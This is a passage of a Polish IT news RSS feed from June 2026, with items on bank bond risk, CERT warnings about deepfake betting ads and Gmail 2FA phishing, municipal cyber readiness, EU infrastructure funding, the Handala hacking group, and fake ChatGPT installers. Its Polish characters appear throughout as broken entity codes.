Banki ograniczajand#261; ryzyko zmiany cen rynkowych SPW poprzez zwiand#281;kszenie udziaand#322;u portfela utrzymywanego do terminu zapadalnoand#347;ci (obecnie ok. 60 proc.), ktand#243;rego wycena ksiand#281;gowa nie jest wraand#380;liwa na bieand#380;and#261;cand#261; zmianand#281; cen oraz utrzymanie niskiego duration portfela.
Nawet w warunkach znacznych wahaand#324; cen papierand#243;w skarbowych, wpand#322;yw na fundusze wand#322;asne sektora bankowego jest w ocenie NBP umiarkowany.





"Szacunki wskazujand#261;, and#380;e spadek rynkowej wyceny SPW odpowiadajand#261;cy wzrostowi ich dochodowoand#347;ci o 1 pp. powoduje obniand#380;enie funduszy wand#322;asnych sektora bankowego o ok. 7 mld zand#322; (ok. 4 proc. funduszy wand#322;asnych). Wpand#322;yw ten jednak jest niejednorodny i w przypadku niektand#243;rych bankand#243;w moand#380;e byand#263; wiand#281;kszy z uwagi na znacznand#261; czand#281;and#347;and#263; portfela wycenianand#261; rynkowo" - ocenia NBP.
Bank centralny odnotowuje, and#380;e brak pand#322;ynnego rynku instrumentand#243;w pochodnych nie pozwala na efektywne zabezpieczenie ryzyka kredytowego paand#324;stwa.
"W przypadku wzrostu percepcji ryzyka kredytowego kraju przecena SPW dotyczyand#322;aby rand#243;wnieand#380; obligacji zmiennokuponowych, co odpowiednio zwiand#281;kszyand#322;oby skaland#281; potencjalnego wpand#322;ywu na kapitaand#322;y bankand#243;w (do ponad 10 mld zand#322;). Warto zaznaczyand#263;, and#380;e pomimo ograniczania przez banki udziaand#322;u obligacji SP wycenianych rynkowo ich wartoand#347;and#263; jest wystarczajand#261;ca do pokrycia hipotetycznych, zwiand#281;kszonych potrzeb pand#322;ynnoand#347;ciowych sektora" - dodano.
Wobec tego w rekomendacjach zawartych w raporcie zaznaczono, and#380;e w warunkach nasilonego ryzyka geopolitycznego i wysokiej niepewnoand#347;ci, instytucje finansowe powinny wciand#261;and#380; wzmacniaand#263; systemy zarzand#261;dzania ryzykiem finansowym i operacyjnym.

















"Materializacja tego ryzyka moand#380;e oddziaand#322;ywaand#263; na instytucje finansowe wieloma kanaand#322;ami, ktand#243;re w krand#243;tkim okresie mogand#261; dotyczyand#263; zwand#322;aszcza wyceny aktywand#243;w, w tym obligacji skarbowych, oraz systemand#243;w ICT" - napisano.and#160;
and#160;
and#160;
and#378;rodand#322;o PAP Biznes 16 czerwca 2026and#160; jz/ tus/ ana/ ]]></description>
		</item><item>
			<title><![CDATA[ Wieniawa i Świątek reklamują "pewniaka" na mundial? To deepfake - oszustwo ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1725</link>
			<description><![CDATA[ Deepfake z Juliand#261; Wieniawand#261; i Igand#261; and#346;wiand#261;tek na mundial, podrobione alerty Gmaila i faand#322;szywe wiadomoand#347;ci and#8222;na Booking". CERT Orange, CERT Polska i NASK opisaand#322;y trzy and#347;wieand#380;e kampanie oszustand#243;w. and#321;and#261;czy je jedno: znana marka albo znana twarz zamiast literand#243;wek i niezdarnej polszczyzny.
Mistrzostwa and#347;wiata ruszyand#322;y, a w sieci od razu pojawiand#322;a siand#281; reklama, w ktand#243;rej Julia Wieniawa poleca and#8222;renomowanego bukmachera". W innej Iga and#346;wiand#261;tek mand#243;wi, and#380;e zostaand#322;a ambasadorkand#261; platformy i osobiand#347;cie rand#281;czy za jej uczciwoand#347;and#263;. Tyle and#380;e and#380;adna z nich nic takiego nie powiedziaand#322;a. To deepfake.
Kampaniand#281; opisaand#322; 11 czerwca CERT Orange Polska. To jeden z trzech and#347;wieand#380;ych scamand#243;w, przed ktand#243;rymi w ostatnich dniach ostrzegaand#322;y teand#380; CERT Polska i NASK. Schemat za kaand#380;dym razem jest podobny: oszuand#347;ci nie liczand#261; juand#380; na to, and#380;e ktoand#347; nie zauwaand#380;y band#322;and#281;du ortograficznego, tylko na poand#347;piech, emocje i zaufanie do znanej marki albo twarzy.







Wieniawa i and#346;wiand#261;tek deepfake
Jak podaje CERT Orange, reklamy na Facebooku puszczane sand#261; z profili o przypadkowej tematyce - w analizowanym przypadku modowej - co utrudnia automatyczne wykrycie ich przez systemy moderacji Mety. Wpisy kuszand#261; and#8222;unikalnymi bonusami" na start mundialu, ale tym, co naprawdand#281; przekonuje, jest wideo z celebrytkand#261;.



and#160;


fot. CERT Orange /and#160;CERT orange


Wedand#322;ug CERT Orange gand#322;os wygenerowano algorytmem nauczonym na prand#243;bkach prawdziwego gand#322;osu, wiand#281;c barwa siand#281; zgadza, ale caand#322;oand#347;and#263; brzmi monotonnie i sztucznie. Na oryginalne nagranie naand#322;oand#380;ono cyfrowo dopasowany ruch warg, a kolorowe, ruchome napisy majand#261; odciand#261;gaand#263; wzrok od miejsc, gdzie obraz siand#281; sypie.
Po klikniand#281;ciu trafiamy na stronand#281; udajand#261;cand#261; profesjonalny serwis bukmacherski. Dziaand#322;a tam standardowy arsenaand#322; presji: licznik odliczajand#261;cy czas, komunikaty o rzekomych wpand#322;atach innych graczy, symbole and#8222;18+", ikonki certyfikatand#243;w i licencji. Cel to skand#322;oniand#263; do rejestracji i wpand#322;aty, a przy okazji zebraand#263; dane osobowe i numer karty.
Jak rozpoznaand#263; faand#322;szywkand#281;? Legalny bukmacher w Polsce musi mieand#263; licencjand#281; Ministerstwa Finansand#243;w. Reklama na Facebooku niczego nie gwarantuje, a jeand#347;li puszcza jand#261; profil o zupeand#322;nie innej tematyce, to sygnaand#322; ostrzegawczy. Do tego dochodzand#261; typowe and#347;lady deepfake'a: nienaturalny gand#322;os, rozjeand#380;dand#380;ajand#261;ca siand#281; synchronizacja ust i artefakty obrazu.
Faand#322;szywy alert Gmaila, ktand#243;ry wyand#322;udzi teand#380; kod 2FA
Drugand#261; kampaniand#281; opisaand#322; 12 czerwca CERT Polska. Stoi za niand#261; grupa UNC1151/Ghostwriter, jedna z najaktywniejszych grup APT obserwowanych przez zespand#243;and#322;. Od marca 2026 r. atakuje uand#380;ytkownikand#243;w Gmaila, podczas gdy wczeand#347;niej braand#322;a na cel gand#322;and#243;wnie konta u polskich dostawcand#243;w poczty - Onetu, Wirtualnej Polski czy Interii. Jak czytamy w komunikacie CERT Polska, w ostatnich tygodniach niemal codziennie pojawiaand#322;y siand#281; nowe domeny uand#380;ywane w atakach.
Ofiara dostaje wiadomoand#347;and#263; po polsku, bez raand#380;and#261;cych band#322;and#281;dand#243;w, udajand#261;cand#261; oficjalny komunikat administratorand#243;w Gmaila. Treand#347;and#263; mand#243;wi o podejrzanej aktywnoand#347;ci, nieuprawnionym logowaniu albo grozi blokadand#261; konta. Link prowadzi do podrobionego panelu logowania, gdzie trzeba wpisaand#263; adres i hasand#322;o.








and#160;


fot. CERT Polska /and#160;CERT Polska


Najwaand#380;niejsza zmiana wzgland#281;dem starszych kampanii to zdolnoand#347;and#263; wyand#322;udzania drugiego skand#322;adnika logowania. Gdy ofiara poda dane, oszuand#347;ci od razu prand#243;bujand#261; zalogowaand#263; siand#281; na konto. Jeand#347;li Google and#380;and#261;da dodatkowego kodu, faand#322;szywa strona wyand#347;wietla kolejny formularz i prosi o jego przepisanie. W ten sposand#243;b przejmujand#261; zarand#243;wno kody z SMS-a, jak i te z aplikacji typu Google Authenticator.
Co istotne, celem nie sand#261; przypadkowi internauci. CERT Polska wskazuje szeroki krand#261;g: osoby zaangaand#380;owane politycznie, naukowcand#243;w, dziennikarzy, urzand#281;dnikand#243;w, sand#322;uand#380;by mundurowe, a takand#380;e osoby powiand#261;zane z nimi rodzinnie lub towarzysko. Przejand#281;ta skrzynka to dostand#281;p do listy kontaktand#243;w, dokumentand#243;w i powiand#261;zanych kont - i punkt wyjand#347;cia do kolejnych atakand#243;w.
and#160;and#8222;Na Booking", czyli wakacje z faand#322;szywego linku
Trzecie ostrzeand#380;enie wydaand#322; 8 czerwca NASK. Dotyczy oszustw and#8222;na nocleg", ktand#243;re rosnand#261; w sezonie urlopowym. Mechanizm jest banalny: skand#322;oniand#263; ofiarand#281; do podania danych logowania lub karty albo do przelewu poza platformand#261; rezerwacyjnand#261;. Zwykle pod presjand#261; czasu i w and#8222;opakowaniu" wykorzystujand#261;cym wizerunek Booking.com.
NASK opisuje trzy warianty. Pierwszy to faand#322;szywa strona pod innand#261; domenand#261; - ta sama kolorystyka i ukand#322;ad co Booking, ale adres siand#281; nie zgadza, czasem o jednand#261; literand#243;wkand#281; albo dodatkowy myand#347;lnik. Drugi to przejand#281;te konto gospodarza: wiadomoand#347;and#263; dotyczy prawdziwej rezerwacji, realnego terminu i obiektu, wiand#281;c wygland#261;da wiarygodnie, a mimo to pada proand#347;ba o and#8222;dopand#322;atand#281;" na inne konto lub przez zewnand#281;trznand#261; bramkand#281;. Trzeci to nieuczciwa oferta wystawiona na prawdziwej platformie.





Iwona Prand#243;szyand#324;ska z NASK radzi prostand#261; rzecz: zatrzymaand#263; siand#281; na chwiland#281; i sprawdziand#263;, z kim mamy do czynienia. Kilka minut ostroand#380;noand#347;ci potrafi uchroniand#263; przed utratand#261; pieniand#281;dzy i kradzieand#380;and#261; danych.
Co z tym zrobiand#263;?
Trzy rand#243;and#380;ne kampanie, a wnioski te same. Nie dziaand#322;aj pod presjand#261; czasu - and#8222;natychmiast", and#8222;ostatnia szansa", and#8222;anulujemy rezerwacjand#281;" to czerwone flagi. Sprawdzaj adres strony, bo to tam najczand#281;and#347;ciej kryje siand#281; oszustwo. Nie podawaj hasand#322;a ani danych karty na stronie z linku w wiadomoand#347;ci, wpisz adres samodzielnie albo wejdand#378; przez panel rezerwacji. Wand#322;and#261;cz uwierzytelnianie dwuskand#322;adnikowe, pamiand#281;tajand#261;c, and#380;e przy phishingu na Gmaila i ono bywa wyand#322;udzane, wiand#281;c kodu nie przepisuj na podejrzanej stronie.
and#160;
and#378;rodand#322;o Bankier.pl 16 czerwca 2026and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Każdy samorząd może być niemal pewny, że stanie się celem cyberataku ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1724</link>
			<description><![CDATA[ Kaand#380;da jednostka samorzand#261;du terytorialnego ma niemal pewnoand#347;and#263;, and#380;e band#281;dzie podmiotem atakand#243;w w dajand#261;cej siand#281; przewidzieand#263; przyszand#322;oand#347;ci - przestrzegand#322;a w poniedziaand#322;ek dyrektorka Centrum Badawczego Cyberbezpieczeand#324;stwa and#321;ukasiewicz and#8211; AI Monika Ingram. Stand#261;d koniecznoand#347;and#263; praktycznego przygotowania siand#281; - zaznaczyand#322;a.



and#160;




and#160;

fot. Sutthiphong Chandaeng /and#160;/and#160;Shutterstock   


Ingram uczestniczyand#322;a w poniedziaand#322;kowej dyskusji podczas konferencji CYBERSEC EXPO and FORUM w Katowicach poand#347;wiand#281;conej cyberbezpieczeand#324;stwu paand#324;stwa i administracji samorzand#261;dowej. Mand#243;wiand#322;a o wadze praktycznych przygotowaand#324; do cyberatakand#243;w, kluczowych dla podejmowania wand#322;aand#347;ciwych decyzji.




- Kaand#380;da jednostka samorzand#261;du terytorialnego ma prawie pewnoand#347;and#263;, and#380;e band#281;dzie przedmiotem atakand#243;w w dajand#261;cej siand#281; przewidzieand#263; przyszand#322;oand#347;ci. W zwiand#261;zku z tym, majand#261;c and#347;wiadomoand#347;and#263;, and#380;e to siand#281; wydarzy, istotne jest przygotowanie siand#281; na wypadek tego ataku praktycznie - powiedziaand#322;a ekspertka.




Oceniand#322;a, and#380;e procedury w chwili ataku majand#261; de facto wartoand#347;and#263; papieru, na ktand#243;rych je wydrukowano. - Dlatego, and#380;e procedury to teoria, a praktyka to testowanie i and#263;wiczenia. O procedurand#281; pyta audytor, a haker sprawdza, czy ta procedura dziaand#322;a - stwierdziand#322;a.
Uand#347;ciand#347;liand#322;a, and#380;e jeand#380;eli jednostki samorzand#261;du band#261;dand#378; spand#243;and#322;ki miejskie stanand#261; siand#281; celem ataku, pracownicy muszand#261; byand#263; juand#380; przeszkoleni z zachowania siand#281;
- Tu zdaje siand#281; albo siand#281; oblewa w ciand#261;gu pierwszych 60 minut od uzyskania wiedzy o cyberincydencie. Wejand#347;cie do and#347;rodowiska infrastruktury jednostki samorzand#261;du trwa bardzo krand#243;tko. Najlepsze grupy hakerskie potrafiand#261; siand#281; tam dostaand#263; w 72 minuty. Zazwyczaj trwa to kilka dni - zaznaczyand#322;a Ingram.
Podaand#322;a, and#380;e ponad 50 proc. atakand#243;w odbywa siand#281; przez dostand#281;p zdalny i przez niezabezpieczony VPN. W drugiej kolejnoand#347;ci jest to skutek phishingu, gdy urzand#281;dnik kliknie w link, w ktand#243;ry nie powinien. Haker najczand#281;and#347;ciej dostaje siand#281; do and#347;rodowiska, uzyskuje uprawnienia i wykrada co cenniejsze dane, najpierw kopiujand#261;c, a potem szyfrujand#261;c.
Specjalistka z and#321;ukasiewicz and#8211; AI przypomniaand#322;a, and#380;e z perspektywy grup hakerskich opand#322;acalnoand#347;and#263; ataku tkwi w moand#380;liwoand#347;ci handlu danymi, albo uzyskania okupu. Zastrzegand#322;a, and#380;e samo dostanie siand#281; do and#347;rodowiska danej jednostki nie jest jeszcze poraand#380;kand#261; - z tym trzeba siand#281; liczyand#263;.
- Atak ma konsekwencje, gdy nie zadziaand#322;ajand#261; procedury i nie jesteand#347;my w stanie odtworzyand#263; usand#322;ug krytycznych wystarczajand#261;co szybko. Dla obywatela najwaand#380;niejsze jest, czy on ma dostand#281;p do usand#322;ug, czy moand#380;e mieand#263; ten dostand#281;p przywrand#243;cony w krand#243;tkim horyzoncie, a takand#380;e czy jego dane nie zostaand#322;y wykradzione i nie jest on naraand#380;ony na konsekwencje - podkreand#347;liand#322;a Ingram.





Stand#261;d w momencie wykrycia ataku naleand#380;y podejmowaand#263; szybkie decyzje wedand#322;ug procedur, a zgodnie z zasadami dyrektywy NIS2 za zarzand#261;dzanie w trakcie kryzysu czy ataku IT odpowiada kierownik jednostki.
- Wand#243;jt, burmistrz, prezydent ma wiedzieand#263;, jak postand#281;powaand#263; w trakcie cyberincydentu. To z kierownikiem jednostki naleand#380;y and#263;wiczyand#263; procedury zachowania siand#281; po ataku, w tym decyzje o odand#322;and#261;czaniu systemand#243;w, utrzymaniu usand#322;ug krytycznych, podjand#281;cia negocjacji z hakerem oraz o komunikacji z mieszkaand#324;cami. Komunikujemy mieszkaand#324;com, co siand#281; dzieje, a przede wszystkim zgand#322;aszamy incydent do wand#322;aand#347;ciwych sand#322;uand#380;b, do NASK, do CERT, na policjand#281; - wyjaand#347;niand#322;a ekspertka.
Pytana, czy niewielka jednostka samorzand#261;du moand#380;e dbaand#263; o cyberbezpieczeand#324;stwo stosunkowo tanio, potwierdziand#322;a. Wskazaand#322;a na rozwiand#261;zania logowania z uwierzytelnianiem wieloskand#322;adnikowym (MFA), and#322;atania podatnoand#347;ci, posiadania i testowania kopii danych offline, posiadania kopii odpowiednio zidentyfikowanych usand#322;ug krytycznych z regularnymi testami ich odtworzenia, a takand#380;e szkolenia i przegland#261;dy uprawnieand#324;.
Oceniand#322;a, and#380;e takie podstawy, moand#380;liwe do wprowadzenia nawet przez jednostki z jednym informatykiem, mogand#261; ograniczaand#263; moand#380;liwoand#347;ci skutecznego ataku o ponad 50 proc. Droand#380;sze, ale bardziej skuteczne, jest np. wprowadzenie modelu Zero Trust czy segmentacji sieci.





Ekspertka doradziand#322;a korzystanie przez samorzand#261;dy z rozwiand#261;zaand#324; pozwalajand#261;cych na korzystanie z kompetencji w postaci zakupu usand#322;ug, zamiast tworzenia etatand#243;w. - Moand#380;na teand#380; wspand#243;and#322;dzieliand#263; specjalistand#243;w i bardzo dobrze dziaand#322;a tu partnerstwo z instytutami i z uczelniami. Instytuty badawcze, takand#380;e and#321;ukasiewicz AI, nie konkurujand#261; z samorzand#261;dami o nic innego, poza wspand#243;lnym bezpieczeand#324;stwem - zaakcentowaand#322;a Monika Ingram.
and#160;
and#378;rodand#322;o PAP 15 czerwca 2026and#160;mtb/ drag/ ]]></description>
		</item><item>
			<title><![CDATA[ UE szykuje miliardy na ochronę infrastruktury krytycznej ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1723</link>
			<description><![CDATA[ Chcemy przeznaczyand#263; olbrzymie and#347;rodki w nowym budand#380;ecie Unii Europejskiej po 2027 r. na ochronand#281; infrastruktury krytycznej - zadeklarowaand#322; w poniedziaand#322;ek w Katowicach szef komisji przemysand#322;u w PE Borys Budka.
and#160;
and#160;






and#160;


/and#160;Orlen   


Jak dodaand#322;, jednym z fundamentand#243;w nowej perspektywy finansowej ma byand#263; rozwand#243;j badaand#324; naukowych w obszarze cyberbezpieczeand#324;stwa
Budka, ktand#243;ry w obecnej kadencji Parlamentu Europejskiego zastand#261;piand#322; na stanowisku przewodniczand#261;cego Komisji Przemysand#322;u, Badaand#324; Naukowych i Energii PE (ITRE) Jerzego Buzka, wystand#261;piand#322; podczas otwarcia konferencji CYBERSEC EXPO and FORUM. Mand#243;wiand#322; tam m.in. o pracach nad kolejnym okresem budand#380;etowym w Unii Europejskiej.

- Jeden z fundamentand#243;w, ktand#243;ry planowany jest w ramach wieloletniej perspektywy finansowej, to wand#322;aand#347;nie rozwand#243;j badaand#324; naukowych w obszarze cyberbezpieczeand#324;stwa - zaznaczyand#322; szef ITRE.





and#160;



Przypomniaand#322;, and#380;e zakres tych zagadnieand#324; siand#281;ga od osobistych zabezpieczeand#324; przed cyberprzestand#281;pcami, po najwiand#281;ksze wyzwania komunikacyjne przesyand#322;u danych, ochrony informacji czy teand#380; ochrony infrastruktury krytycznej.
and#160;

- Olbrzymie and#347;rodki, ktand#243;re chcemy przeznaczyand#263;, band#281;dand#261; rand#243;wnieand#380; chroniand#322;y infrastrukturand#281; krytycznand#261;, m.in. przesyand#322; energii elektrycznej, gazociand#261;gi, rurociand#261;gi - podkreand#347;liand#322;.

Zastrzegand#322;, and#380;e choand#263; and#347;wiat stoi przed wyzwaniami w zakresie bezpieczeand#324;stwa i cyberbezpieczeand#324;stwa, ktand#243;re jeszcze niedawno kojarzyand#322;y siand#281; z filmami fantastyczno-naukowymi, eksperci i praktycy wskazujand#261;, and#380;e nadal najsand#322;abszym ogniwem w tych kwestiach pozostaje czand#322;owiek.



















Budka przywoand#322;aand#322; przy tym zapowiedzi Google'a, and#380;e juand#380; w 2028 r. komputer kwantowy band#281;dzie w stanie w czasie poniand#380;ej jednej sekundy zand#322;amaand#263; kaand#380;de dotychczasowe zabezpieczenie.

- Niestety, stoimy przed wyzwaniami, ktand#243;re mogand#261; byand#263; duand#380;o trudniejsze do sprostania, aniand#380;eli nam dzisiaj siand#281; wydaje. Musimy zaprojektowaand#263; systemy bezpieczeand#324;stwa, ktand#243;re band#281;dand#261; odporne na coand#347;, co dzisiaj jeszcze jest snem, a w najbliand#380;szych dwand#243;ch latach stanie siand#281; rzeczywistoand#347;ciand#261;. Musimy przeprogramowaand#263; caand#322;e myand#347;lenie i caand#322;y system bezpieczeand#324;stwa, bo jeand#380;eli ktoand#347; band#281;dzie w stanie dokonaand#263; takich rzeczy, to myand#347;lenie o bezpieczeand#324;stwie, cyberbezpieczeand#324;stwie, wymaga diametralnych zmian - oceniand#322; Budka.

CYBERSEC EXPO and FORUM to najwiand#281;ksze w Europie and#346;rodkowo-Wschodniej wydarzenie poand#347;wiand#281;cone cyberbezpieczeand#324;stwu. W Miand#281;dzynarodowym Centrum Kongresowym w Katowicach zaplanowano dwa dni debat z udziaand#322;em przedstawicieli administracji publicznej, biznesu, nauki oraz instytucji odpowiedzialnych za bezpieczeand#324;stwo paand#324;stwa.
Organizator and#8211; Grupa PTWP and#8211; podaand#322;, and#380;e jednym z gand#322;and#243;wnych tematand#243;w tegorocznych dyskusji band#281;dzie relacja miand#281;dzy cyberbezpieczeand#324;stwem a bezpieczeand#324;stwem paand#324;stwa.
Polska Agencja Prasowa jest wand#347;rand#243;d patronand#243;w medialnych wydarzenia.and#160;
and#160;
and#160;





and#378;rodand#322;o PAP 15 czerwca 2026and#160; and#160;mtb/ mrr/

and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Powiązana z Iranem grupa grozi atakami podczas mundialu ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1722</link>
			<description><![CDATA[ Powiand#261;zana z Iranem grupa hakerand#243;w Handala twierdzi, and#380;e przejand#281;and#322;a drony amerykaand#324;skiego Federalnego Biura and#346;ledczego (FBI) i moand#380;e wziand#261;and#263; na cel mistrzostwa and#347;wiata w piand#322;ce noand#380;nej - przekazaand#322;a w piand#261;tek organizacja monitorujand#261;ca grupy ekstremistyczne, SITE Intelligence Group.



and#160;




and#160;

fot. Heuler Andrey/DiaEsportivo /and#160;/and#160;FORUM


and#160;
SITE opublikowaand#322;a oand#347;wiadczenie Handali zawierajand#261;ce zapewnienie, and#380;e grupa and#8222;od miesiand#281;cyand#8221; ma dostand#281;p do naleand#380;and#261;cych do FBI dronand#243;w FPV. Wedand#322;ug hakerand#243;w drony sand#261; wyposaand#380;one w systemy rozpoznawania twarzy i kontroli tablic rejestracyjnych pojazdand#243;w; miaand#322;y byand#263; wykorzystywane do walki z terroryzmem.
and#160;

and#8222;Lepiej wzmocnijcie zabezpieczenia mistrzostw and#347;wiata, nie lubimy niektand#243;rych z tych druand#380;yn. Nie zapominajcie: FPV sand#261; wszand#281;dzie; nigdy nie wiadomo, kiedy ktand#243;ryand#347; z nich moand#380;e wyland#261;dowaand#263; w autobusie waszej druand#380;ynyand#8221; and#8211; przekazaand#322;a Handala w oand#347;wiadczeniu cytowanym przez SITE.




and#160;



FBI rozmieszcza drony wokand#243;and#322; stadionand#243;w mistrzostw and#347;wiata, aby chroniand#263; je przed nieautoryzowanymi statkami powietrznymi.and#160;Loty dronand#243;w sand#261; zakazane nad amerykaand#324;skimi stadionami, na ktand#243;rych odbywajand#261; siand#281; mecze, a takand#380;e nad wydarzeniami dla kibicand#243;w zwiand#261;zanymi z trwajand#261;cym od czwartku mundialem.
and#160;
Resort sprawiedliwoand#347;ci USA ostrzegaand#322; wczeand#347;niej przed potencjalnymi cyberatakami ze strony iraand#324;skich podmiotand#243;w.
Handala opublikowaand#322;a zdjand#281;cia i nagrania, ktand#243;re miaand#322;y zostaand#263; uzyskane za pomocand#261; zhakowanych dronand#243;w, jednakand#160;SITE zaprzeczyand#322;a ich prawdziwoand#347;ci - jeden z filmand#243;w zostaand#322; wyprodukowany jako reklama w grudniu 2024 r.and#160;Dotyczyand#322; wykorzystania technologii przez policjand#281; w USA do oceny zniszczeand#324; spowodowanych tornadami.  









W marcu Handala informowaand#322;a, and#380;e wand#322;amaand#322;a siand#281; na konto poczty dyrektora FBI Kasha Patela i opublikowaand#322;a w sieci jego prywatne zdjand#281;cia i inne materiaand#322;y - przypomniaand#322;a AFP. Departament Stanu USA zaoferowaand#322; nagrodand#281; w wysokoand#347;ci 10 mln dolarand#243;w za informacje prowadzand#261;ce do zidentyfikowania czand#322;onkand#243;w grupy.  
Analitycy podejrzewajand#261;, and#380;e Handala ma powiand#261;zania z iraand#324;skim ministerstwem wywiadu (MOIS), a amerykaand#324;ski branand#380;owy magazyn and#8222;Wiredand#8221; sugerowaand#322;, and#380;e grupa jest przykrywkand#261; dla tego ministerstwa. Amerykaand#324;ski resort sprawiedliwoand#347;ci okreand#347;liand#322; Handaland#281; jako fikcyjnand#261; toand#380;samoand#347;and#263; wykorzystywanand#261; przez MOIS do ukrywania roli tego ministerstwa w and#8222;operacjach wywierania wpand#322;ywu i kampaniach psychologicznego terroruand#8221;.and#160;
and#160;
and#378;rodand#322;o PAP 12 czerwca 2026and#160; os/ ap/ ]]></description>
		</item><item>
			<title><![CDATA[ Fałszywe instalatory ChatGPT kradną hasła, sesje i dane firmowe ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1721</link>
			<description><![CDATA[ Cyberprzestand#281;pcy wykorzystujand#261; popularnoand#347;and#263; ChatGPT i innych narzand#281;dzi AI, by podsuwaand#263; uand#380;ytkownikom faand#322;szywe instalatory. Puand#322;apka jest o tyle groand#378;na, and#380;e ofiara moand#380;e najpierw trafiand#263; na link wygland#261;dajand#261;cy wiarygodnie, nawet prowadzand#261;cy przez prawdziwand#261; domenand#281; znanej usand#322;ugi.and#160;
and#160;




and#160;

fot. I love photo /and#160;/and#160;Shutterstock


and#160;
Badacze and#160;Push Security opisali kampaniand#281;, w ktand#243;rej przestand#281;pcy naduand#380;ywali mechanizmand#243;w udostand#281;pniania rozmand#243;w w narzand#281;dziach AI, miand#281;dzy innymi ChatGPT i Claude. Uand#380;ytkownik widziaand#322; stronand#281; wygland#261;dajand#261;cand#261; jak komunikat techniczny lub informacjand#281; o problemach z usand#322;ugand#261;. Nastand#281;pnie byand#322; zachand#281;cany do pobrania aplikacji desktopowej, aby and#8222;kontynuowaand#263; pracand#281;and#8221;.
and#160;
W praktyce klikniand#281;cie w przycisk pobierania mogand#322;o prowadziand#263; na faand#322;szywand#261; stronand#281; udajand#261;cand#261; oficjalnand#261; witrynand#281; ChatGPT. Dla uand#380;ytkownikand#243;w Windows przygotowano plik wygland#261;dajand#261;cy jak instalator programu, a dla uand#380;ytkownikand#243;w macOS plik DMG. Wedand#322;ug analiz w obu przypadkach nie byand#322;a to oficjalna aplikacja OpenAI, lecz zand#322;oand#347;liwe oprogramowanie.
and#160;
Faand#322;szywe programy wykradajand#261; w tle dane
Ryzyko jest powaand#380;ne, bo tego typu malware nie koand#324;czy siand#281; na wyand#347;wietlaniu reklam czy spowolnieniu komputera. Opisywane prand#243;bki miaand#322;y sand#322;uand#380;yand#263; do kradzieand#380;y danych z przegland#261;darek, haseand#322;, ciasteczek, aktywnych sesji komunikatorand#243;w, danych portfeli kryptowalut oraz plikand#243;w, ktand#243;re mogand#261; zawieraand#263; klucze lub frazy odzyskiwania. W praktyce oznacza to, and#380;e zagroand#380;one mogand#261; byand#263; nie tylko konta w serwisach internetowych, ale rand#243;wnieand#380; poczta, komunikatory, dostand#281;p do usand#322;ug firmowych, a poand#347;rednio takand#380;e finanse uand#380;ytkownika.
Szczegand#243;lnie niebezpieczny jest sposand#243;b dotarcia do ofiary. Przestand#281;pcy nie muszand#261; wysyand#322;aand#263; podejrzanego maila. Wystarczy, and#380;e uand#380;ytkownik wpisze w wyszukiwarce frazand#281; w rodzaju and#8222;ChatGPT downloadand#8221;, kliknie sponsorowany wynik lub dobrze wypozycjonowanand#261; stronand#281; i uzna, and#380;e skoro adres wygland#261;da znajomo, wszystko jest bezpieczne.
and#160;
Atakujand#261; rand#243;wnieand#380; firmy
Problem dotyczy takand#380;e firm. Z raportand#243;w bezpieczeand#324;stwa Check Point Research wynika, and#380;e narzand#281;dzia generatywnej AI staand#322;y siand#281; jednym z nowych kanaand#322;and#243;w ryzyka dla organizacji. W and#347;rodowiskach korporacyjnych co 28. zapytanie do chatbotand#243;w generatywnej AI miaand#322;o nieand#347;and#263; wysokie ryzyko ujawnienia wraand#380;liwych danych. Chodzi miand#281;dzy innymi o fragmenty umand#243;w, dane klientand#243;w, informacje finansowe, kody, dokumenty wewnand#281;trzne czy dane dostand#281;powe wpisywane do promptand#243;w przez pracownikand#243;w.
To pokazuje, and#380;e AI staand#322;a siand#281; dla cyberprzestand#281;pcand#243;w podwand#243;jnie atrakcyjna. Z jednej strony mogand#261; podszywaand#263; siand#281; pod znane narzand#281;dzia i nakand#322;aniaand#263; uand#380;ytkownikand#243;w do instalowania malware. Z drugiej strony mogand#261; liczyand#263; na to, and#380;e pracownicy sami wklejand#261; do chatbotand#243;w informacje, ktand#243;re nigdy nie powinny opuand#347;ciand#263; firmowego and#347;rodowiska.
and#160;
Na celowniku Discord i OneDrive
Warto teand#380; pamiand#281;taand#263;, and#380;e podobna metoda ukrywania ataku w legalnych usand#322;ugach pojawia siand#281; nie tylko przy oszustwach na uand#380;ytkownikand#243;w indywidualnych. Analitycy ESET opisali aktywnoand#347;and#263; grupy Webworm, powiand#261;zanej z Chinami, ktand#243;ra atakowaand#322;a europejskie instytucje rzand#261;dowe, w tym cele w Polsce. Wedand#322;ug badaczy przestand#281;pcy wykorzystywali miand#281;dzy innymi Discorda oraz usand#322;ugi Microsoftu, takie jak OneDrive, aby ukrywaand#263; komunikacjand#281; z malware i wykradaand#263; informacje.
and#160;
Jak nie daand#263; siand#281; nabraand#263;?
Co zrobiand#263;, jeand#347;li pobraliand#347;my podejrzany instalator ChatGPT albo innej aplikacji AI? Przede wszystkim nie naleand#380;y logowaand#263; siand#281; z tego samego urzand#261;dzenia do banku, poczty ani kont firmowych. Hasand#322;a trzeba zmieniand#263; z innego, czystego urzand#261;dzenia. Warto wylogowaand#263; aktywne sesje w najwaand#380;niejszych usand#322;ugach, wand#322;and#261;czyand#263; uwierzytelnianie dwuskand#322;adnikowe, sprawdziand#263; historiand#281; transakcji bankowych i kart, a w przypadku komputera sand#322;uand#380;bowego natychmiast zgand#322;osiand#263; sprawand#281; dziaand#322;owi IT. Jeand#347;li w grand#281; wchodzand#261; portfele kryptowalut, klucze API lub dane dostand#281;powe do systemand#243;w firmowych, trzeba zaand#322;oand#380;yand#263;, and#380;e mogand#322;y zostaand#263; przejand#281;te.





Najwaand#380;niejsza rada brzmi jednak jeszcze proand#347;ciej: nie pobierajcie aplikacji ChatGPT, Claude ani innych narzand#281;dzi AI z reklam, przypadkowych linkand#243;w i stron udajand#261;cych oficjalne komunikaty. W and#347;wiecie nowych oszustw nawet link wygland#261;dajand#261;cy znajomo moand#380;e byand#263; tylko pierwszym krokiem do infekcji.
and#160;
and#378;rodand#322;oand#160;Bankier.pl 9 czerwca 2026 Oprac. Wojciech Boczoand#324; ]]></description>
		</item><item>
			<title><![CDATA[ Zmiany w urzędach. Rusza budowa nowej platformy dla Polaków ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1720</link>
